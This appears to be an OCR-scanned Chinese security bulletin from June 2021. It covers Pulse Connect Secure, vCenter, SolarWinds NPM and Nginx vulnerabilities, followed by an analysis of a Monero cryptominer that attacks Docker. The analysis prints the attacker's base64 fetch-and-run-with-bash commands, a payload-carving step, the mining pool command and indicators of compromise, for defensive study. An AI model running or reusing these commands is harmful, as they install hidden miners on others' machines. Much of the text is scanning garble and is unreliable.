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VSRC &4 A# (2021-06-01)

0x00 7 RJRiALRiR

A B IRIASE 4 42 Pulse Connect Secure 4T & AR HAT IR (CVE-2021-22908 ) ;
VMware vCenter Server iLFEAUHLFATIRIA (CVE-2021-21985) ; SolarWinds NPM izFEfXAY
PATINIR (CVE-2021-31474) ; Nginx AFEACRSHAT IR (CVE-2021-23017) .

KR LI 1A @i Docker B 237 NN25 B

M4 A2l , A 2 g Tt .
0x01 EEZERIFFIE
1. Pulse Connect Secure fEEARMEHITINIF (CVE-2021-22908)

Pulse Connect Secure (PCS) f&3[H Pulse Secure A#][)—% SSL VPN iR 7 &

2021 4F 05 H 24 H, RWNIEMFE R HER | Pulse Connect Secure Hf)—/ Mz X i
HIEIR (CVE-2021-22908) , ZIRIFIN CVSS ¥F4rM 8.5, Lok By B (1 iz e 2 o 2wl LA
A IR AE 52 M) PCS k554 £ A root BURPAATAE ALY

TRIRY

H1F PCS SCHFZEREE] Windows SCAFILE (SMB) 1INREHIZE T Samba 4. 5. 10 I FE FI4HBA
IR FF ) CGT ARt 2 9K LL SMB #RAE TR E — MK HI RS AR 4RI, smbelt N FHEE
Ferl RESx (TG DCUR R T 35t BUARER T4 7 B IR 95 4 A4 R KT

Q2N PCS 9. IR11. 4 RGAFAEIRIA, HAr CGI ¥ 1509/ dana/ fh/smb/wnf. cgi, H
'© CGI i s B 7T e 2 i e 7 o

ST 2 AR D)) FH e R IS A BEATIE B, TR E — MR ARG 2R LR AT e = 3 3L
I PCS FHHEXH

Critical ERR31093 2021-05-24 14:05:37 — ive — [127.0.0.1] Root::System() []

— Program smbclt recently failed.
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{EZEF LRI, PCS RS AHE —A allows \\*[1 Windows SCAHF I SEH& B fu v
Wi B BB R RS A H e I HRE . FTLATE PCS IO T, &F F - B IR RS
—>Windows SCH-U5 I SEMS, SRATE AT SMB HElE. 9. 1R2 Je 2 B f PCS 4% il Fi] Ao VP4
FIUMER SMB EHLIIBRINSENS, A 9. 1IR3 PR, IXANHEHE BRI Fo VP S SO BRINIE 4

i

Pulse Connect Secure 9.0RX F1 9. 1RX

ZEREW

Pulse Secure FiiiI{E Pulse Connect Secure 9. 1R11.5 LM mfRAFEE ZIwIH, H
I AR A AT

AR

https://my. pulsesecure. net/

https://kb. pulsesecure. net/articles/Pulse Security Advisories/SA44800
https://kb. cert. org/vuls/id/667933

https://cve.mitre. org/cgi—bin/cvename. cgi?name=CVE-2021-22908

2. Wware vCenter Server EFEEHATHIA (CVE-2021-21985)

vCenter Server f& VMware A ) ff)—Fi IR % 358 BLARYL 7 22, FIFERD 1T &8 Rod@id
AR & B B MY PR P SRR LR R PG E AL

2021 4E 05 H 25 H, Wware & Afi J vCenter Server %4 ¥, 185 1 vSphere Client
H i —ANE RS HATIRIA (CVE-2021-21985) Fll-AN By IAIE e (CVE-2021-21986)
HL CVSSv3 EARAF I 9. 8 M1 6. 5.

vCenter Server IRV HATIRIE (CVE-2021-21985)



VSRC BlHERTEERmmcl

\ 4

Venustech Security Response Center

ZIWIAAEAET vSphere Client (HIML5) Ht, 1T vCenter Server HBRIAJE I Virtual
SAN Health Check ffifFHtZ S NIRIE, A 443 i 1112515 ) A3 SR ) B0t 3 mT LA FH b U
TATEA&Z vCenter Server [M#EfE RS LI HATIER A4

FTEERMAZ, Virtual SAN Health Check #ifF7ERT vCenter Server H#BERI
H, AR TR 8IS 2% 1 6] vCenter Server (1R 5 3 ek I B i & 4 vl LA A IX AN
M JE W R 753 vSAN, I Bzl JC 75 P 38 HL R ATz R A

vCenter Server HHYRIFIRIF (CVE-2021-21986)

ZINIAAELE T vSphere Client (HTML5) [ Virtual SAN Health Check.Site Recovery.
vSphere Lifecycle Manager 1 VWMware Cloud Director Availability ffiff:ff] vSphere ik
WEALEI A, BA5 vCenter Server _Eff) 443 i 1R 2% 5 [a) B PR (K B0 ek 2 m] LA A I e TR 44
AT MR P SO VB, TG FREAT S 3Rk

-2 (e

vCenter Server 7.0

vCenter Server 6.7

vCenter Server 6.5

Cloud Foundation (vCenter Server) 4.x

Cloud Foundation (vCenter Server) 3.x

ZEEW

H T Wware C2AEE T XL, B UUSRTH ] LT AE T RRA B I N2 22 A 14 it -
vCenter Server 7.0 U2b

vCenter Server 6.7 U3n

vCenter Server 6.5 U3p

Cloud Foundation (vCenter Server) 4.2.1

Cloud Foundation (vCenter Server) 3.10.2.1

PR
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https://www. vimware. com/security/advisories/VMSA-2021-0010. html

ZH

https://docs. vmware. com/en/VMware—vSphere/7. 0/rn/vsphere-vcenter—server—
T0u2b—release—notes. html

https://kb. vmware. com/s/article/83829

https://core. vimware. com/resource/vmsa—2021-0010-faq

https://www. bleepingcomputer. com/news/security/vmware-warns—of—critical-

bug-affecting-all-vcenter—server—installs/

3. SolarWinds NPM ZFEARMEHATIRIE (CVE-2021-31474)

SolarWinds Network Performance Monitor (NPM) /& MIZE MEIN . 4 1tk g 44 2 B
BRI A% X 248 SR I R M A0 7 SR B G YR AN T SE RO W e Th B T — A I
H ARG

2021 405 H 20 H, Zero Day Initiative AHF## | SolarWinds Network Performance
Moni tor [ —MZFEARLIATIRIR (CVE-2021-31474) , H CVSS ¥F4H 9. 8.

ZINIFAAFAET SolarWinds. Serialization FEH, g% FH P B4R MR B = 1EFR ORI,
SPEAEAEEIRIFFI . BhF R SRR B 3 7T DAE R 40 bR SO TR R AR,
M0 T 23 S AR B0 -

- 2 REA 2

SolarWinds Network Performance Monitor 2020. 2.1

ZEREW
HAJ SolarWinds ©&MBHE T iZRH, BUUSPRIEIT 208 Hie
T EEE
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https://documentation. solarwinds. com/en/success center/sam/content/release

notes/sam 2020-2-5 release notes. htm

https://www. zerodayinitiative. com/advisories/ZDI-21-602/
https://nvd. nist. gov/vuln/detail/CVE-2021-31474

https://cve.mitre. org/cgi—bin/cvename. cgi?name=CVE-2021-31474

4. Nginx EEARBHATIRIF (CVE-2021-23017)

Nginx f&—ANETEREN HTTP A1 AARHE web AR S5 38, [ 3R AL T IMAP/POP3/SMTP A%
%, BMTHAGWZMBARE, FEHEARIEH A8 2R

2021 4 05 256 H, Nginx Bl RM LA, AT Nginx DNS Resolver Hrffj—>
AR HATIRIA (CVE-2021-23017)

Hi T Nginx 7EALEE DNS Wi S0 AA7E 22 4 ), M7ERC B SR “resolver ” #84
I, AR P DA I O i ok ) DNS JIRS5 4% 1K) UDP $dfa €0, #4i& DNS Wi SLigi i 1-byte
FE R, TS BUE 2 R 55 BUT R AR AT .

ZIRRAERE T — A8 Z M resolver” FEAMIBIL FAEAE, MERINE L P AL HE .

2 e
Nginx 0.6.18 - 1.20.0

AR

H AT ZiF CAE LI RA B R, @ BUR PRIEAT TH T
NGINX Open Source 1.20.1 (stable)

NGINX Open Source 1.21.0 (mainline)

NGINX Plus R23 Pl
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NGINX Plus R24 P1

PLURRRASH NGINX Ingress Controller fi5E NGINX Open Source F1NGINX Plus HIf&
HREFRA

NGINX Ingress Controller 1.11.2 - NGINX Plus R23 Pl

NGINX Ingress Controller 1.11.3 - NGINX Open Source 1.21.0 #INGINX Plus

R23 P1

R
http://nginx. org/en/download. html
TR

http://nginx. org/download/patch. 2021. resolver. txt

S

http://mailman. nginx. org/pipermail/nginx—announce/2021/000300. html

https://www. nginx. com/blog/updating—nginx—dns-resolver—vulnerability—cve—
2021-23017/

https://support. 5. com/csp/article/K12331123

0x02 A RFRESH

1. BT Docker 22324 N 1% iy

g

B4, I te h 2 oM BAE T R BIE AL, FERZIRIRD T B 5E
AR N5 B i A2 Monero. FEIEEMI—4H, Monero M #E Lk 7 550% /54, MEZFILIE>T
IEAE F AN Monero #2575 30,  ASRIS R KA

I B2 Az A IR E Gl R i, BONTEFZY WAL PR 2 A R0 2GR S 0T
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BAWRREEEATN, 08, 1207 A AN RIS s 8 a8 &8, i &30 8 701 I a] A
A

98
3

&

AR B — AN Docker Linux RGN BT M2 IES). Docker BTV & H
T REMGLE BRUR 1T L RN 88 Pl S R P I E Ak 3R T BERIARE, BN BV 2 %
SRR SRR B R A B RO — S, AR Rk A i e i s K EAR
Bre

FRATVASEIN 2RI H20 35 50 o0 A 8 P P S PO T A PR AL TS Ao P — e B ) YR i
%o REERHTH BARIEAMELE Docker B4% LIPS P Wm0/ W PTA, %0 LM
MY —2& bash A, SRJEAEFHFSE ARIREEAL ST AV BRI I A

BRI
FRATT AR L AT A U 2 — AN BT A3 (Threat Actor, TAY fiHI3RTF T X Docker
A AT AR o WA 51 i TA AT — MEIASTT A6 1 o

sh —¢ echo ’aHROcHM6Ly9pZGVvbmUuY29tL3BsYW1uL2]JTbOwyVwo="|base64 -d| (xargs

curl —fsSL || xargs wget —q —0) |bash
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XM hxxps//ideonel. Jcom/plain/bHol2W Tk shell A,
MiZ URL N AIEE M BOZ 7 — N8I 1 Shell A
#!/bin/bash

a=$ (base64 —d <<< “aHROcHM6Ly9pZGVvbmUuY29tL3BsYW1uL0diNOJkMgo=")

(curl —fsSL $al|wget —q —0- $a) |bash

a ZERYIN base6d I FHFE aHROCHMBLYIpZGYvbmUuY29t1.3BsYW1uL0diNOJkMgo
BEATARRY, #3494 https://ideone(. Jcom/plain/Gh7Bd2. 4R J& AL J& ) URL #ifEi%45 curl
4, AT SRSCIER BRI, DMETEAR S 3 R A R AN AT RS B, A
Fi-sS SRAMBIREEE R, HLEBEA A& RIS SRR 5 B %, M3 -1 SR DR A O B0 .
RAEA curl AR, BA SIS wget, TR —ARUMGLSITTE, AT ETFH
Mo —a BEFRAA BRI SPATIERE, 1 weet BT HARIEEMTHH, -0 W3R
XS B stdout. TEiBJE curl iBJ2 weet BT, #2454 bash S EIH
7.

XA R AN 174 77ARAS1 shell AR, 76 RHEIF T, FATEHSHTIXA shell
JRAS

M Shell BFZH™

JATI R 16 AT —RACA A2, HAEH 17-19 174 base64 Zmhd i, £ 1717
T, RS B A R RN base64 Zwf K 74T, TA BAIHAT TIXABIA . 24 1R
HATDEH, XA TA %0 5% B A 2508 b TR P B B, BN E BN 757277 LA
FiX—

FES 18 ATANSE 19 47, TA M 7 — AT i8Iy, i FE-1 JPEG X REed A

M. 25 18 4TH) baseb4 fiBIS N https://i. ibb[. Jco/6PdZONT/he. jpg, 3 19 171 baseb4 fi#
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il A https://i. ibb[. Jco/phwmnCb/he32. jpg.

F AT HIILZRZ JPEG A/NN 6MB. B %%, FKIBILAE Cerbero BFHINER JPG
KAHTE, AT RS, A TRER. 25, BdEE NS, 7TLVES JPEG
SR T —A JFIF SkARiRAF, (HERAEXAER AR ELE Linux R4 RIEATH, KL
FH I ER 45446 fric (ELF magic number) , 1Xbr#E3E ELF i SCfF (Linux [)EZA]
PAT SO HTFLE.
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Offzet

000036F0
ao0n3700
aoons710
Qoon37z0
00003730
00003740
ao0n3750
aoon37s0
aoons77o
0oon37s0
00003790
00003740
Qo0037E0
aoons7co
0oon3Too
000037ED
a00037ro
aoonzso0o0
aoonss1o0
ooon3gzo
00003830
00003840
aoonzsso
Qo003as0
ooonsavo
00003880
a0003s90
Q0003840
0o003sE0
ooonsaco
00003800
000038E0
Qo003sFo
Qo000
ooon3slo
00003920
a0003930
aoo03940
aoon3as0
00003960
00003970
a0003950
aoonz990
00003940
00o003sE0

L0 B -

nC 71 F9 E&

CC C3 BO E9
66 038 11 63
34 01 0B 31
94 DE A4S EB
E5 51 96 D1
56 14 A6 96
96 81 9D 23
03 D3 A1 F5
D3 159 30 D3

B4 54 00 A1

a0 04 oo oo

EI?]J Shell Hiﬂzl-(y
BATTLLER], TAEH dd 47 LHE, HFEBEHRPRERMEH . B8 T EG
SR E %O, (BRI Bk TPEG B, skip=14497, FH M E RN

i) JPEG (4%,

W& N Bytes

bs=1,

4 5 &6 7 & 98 A B C D E F Ascii
E5 §5 00 7C 3D 5B 4C 77 90 11 41 18 | U.M....|=[Lw..A. <-Format data
76 AD B8 04 3E 15 FE Fi 5E A2 32 BO | .. -

&4 45 D3 58 69 51 52 14 06 32 7B E9 | ....dH.XiQR..2{.
1z 70 35 C& &§8 77 &5 60 5D EBE 8E B3 | ...H.}5..w%"]...

E5 6F E4 75

EZ 34 B4 BS

D7 34 B4 E4
46 02 01 01
00 01 0o oo
00 00 0o oo

<-Format data - Foreign data
. =-Foreign data

o0 05 00 oo
00 0o 0o oo
00 00 0o oo
00 00 0o oo

a0 oo oo oo
00 00 0o oo
00 04 00 00
00 00 0o oo

a0 oo oo oo
00 0o 0o oo
00 00 0o oo
00 00 0o oo

ERATE A TA R QT SEHURNAE I & P i) ELF 2 SR

% i IEAR A S (ARCH) x = “x86 64x”, SRJGETHS$ {ARCH} x

”i686x”, ‘Ef#iF] he 32

ZAn % . AR —1T IR . BRATIEFEALEE XMRige

Conr

monero' -B -o pool.supportxmr.com:3333 -u 475k8rl1iZHQ2E5aEwy5ouubtqdby

N TN, RisfT

dd if=he save j

TU T4

pg of=he save skip=14497 bs=1
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SR IEH he_save fN#F| Ghidra (NSA FFJE A T H) o iX R M EUG 2 ELF it
Hl SO XMRig 6. 6.2, ZCHEIET 2020 4 12 A 17 H, HWAEEKBKIRLE shell A
HER—ANH,

Decompile: FUN_004331d0 - (he_save _co

FUN_00858cf0O(1, "XMRig 6.6.2\n built on Dec 17 2020 with GCC");
FUN_00858cfO(1, " %d.%d.%d",4,8,4);
FUN_00858cf0O(1, "\n features: 64-bit AES\n");
uVar2 = FUN_00729eb0() ;
FUN_00858cf0O(1, "\nlibuv/As\n",uvar2);
FUN_00858cf0O(1, "OpenSSL/%.*s\n",6,"1.1.1h 22 Sep 2020");
FUN_00858cfO(1, "hwloc/%s\n", &DAT_008a8730);
return 0;
)
if (param_2 != 3) {
if (param_2 !=1) {
return 1;
}
if (DAT_00c212do == '\0') {
iVarl = FUN_00786ba0(&DAT_00c212d0);
if (ivarl !'=0) {
DAT_00c212c0 = &DAT_00cd3d98;
FUN_00786cd0 (&DAT _00c212d0);
FUN_007edb30 (FUN_007ce070, &DAT_00c212c0, &DAT_00c190e8) ;
}

}

if (*(long *)(DAT_00c212cO + -0x18) == 0) {
FUN_007cedcO(&DAT_00c212c0, "Usage: xmrig [OPTIONS]\n\nNetwork:\n",0x21);
FUN_007cedcO(&DAT_00c212c0," -0, --url=URL URL of mining server\n",0x35S);
FUN_007cedcO(&DAT_00c212¢c0,

" -a, --algo=ALGO mining algorithm
https://xmrig.com/docs/algorithms\n"
,0x53) ;
FUN_007cedcO(&DAT_00c212¢0,
g --coin=COIN specify coin instead of algorithm\n",0x42);
FUN_007cedcO(&DAT_00c212c0," -u, --user=USERNAME username for mining server\n",0x3b
)i
FUN_007cedcO(&DAT_00c212c0," -p, --pass=PASSWORD password for mining server\n",0x3b
bp)
FUN_007cedcO(&DAT_00c212¢0,
" -0, --userpass=U:P username:password pair for mining server\n",0x49
FUN_007cedcO(&DAT_00c212c0," -X, --proxy=HOST:PORT connect through a SOCKSS proxy\n",
0x3f);
FUN_007cedcO(&DAT_00c212c0,
" -k, --keepalive send keepalived packet for prevent timeout
(needs pool support)\n"
,0x60) ;
FUN_007cedc0(&DAT_00c212¢c0, " --nicehash enable nicehash.com support\n®,
0x3c);
FUN_007cedc0 (&DAT_00c212c0,
s --rig-id=ID rig identifier for pool-side statistics (needs
pool support)\n"
,0x5d) ;
FUN_007cedcO(&DAT_00c212c0,
" --tls enable SSL/TLS support (needs pool support)\n”,
Ox4c);

FUN_007cedcO(&DAT_00c212c0,
i --tls-fingerprint=HEX pool TLS certificate fingerprint for strict
certificate pinning\n"
,0x60) ;

FUN_007cedcO(&DAT_00c212c0,

3 --daemon use daemon RPC instead of pool for solo
mining\n"

/ / \ \\\ \ / \ ,l“r ‘ U

«' | b \ \/
/ \/\ X
b
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it

e LR LS, BB BUTT MRS A 130 5 2 285 SE SR AR XU R (313
FEAN PRI TSR 2R E AR T RGERE, SN T Ak TS RE
A, ARSI IR T fe s 2D A Sk

BT 2% AR 55 1 AT WL 5 22, IRk Docker 7R 8834 T-4T i e T & L H I,
SentinelOne XDR f£ zv TAF $1t 8 LA Je A% Gt i b I 1) b 3R % A2 e A vF 2 g

cryptominer AR4A

10C

SHA256
70144c33b1723087f4df98ca2c3aa39abec80a9dceed76562e2e65£07b020cYe
5¢21586e4fa48a5130d11e43ee332327e1bb76ad45b07d075a5ab350c7981c71

e808760ffb94d970fb9a224c3e1093e5c8999dd736936d6290b28741abc9c81f

SHA1
c7bdffdebbbee04cOeffcba’bfde64d4fef9e268
423322dd42c5676d8770a94257d4008a57000129

ef1a8802b01d2b39017eb3717fa83ct9db5601a7

URLs

hxxps://ideonel. Jcom/plain/bHoL2W
hxxps://ideone[. Jcom/plain/Gbh7Bd2
hxxps://i.ibb[. 1co/6PdZONT/he. jpg

hxxps://i.ibb[. ]Jco/phwmnCb/he32. jpg
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JiR S
https://labs. sentinelone. com/caught—in—the—-cloud-how-a-monero—cryptominer-

exploits—docker—containers/




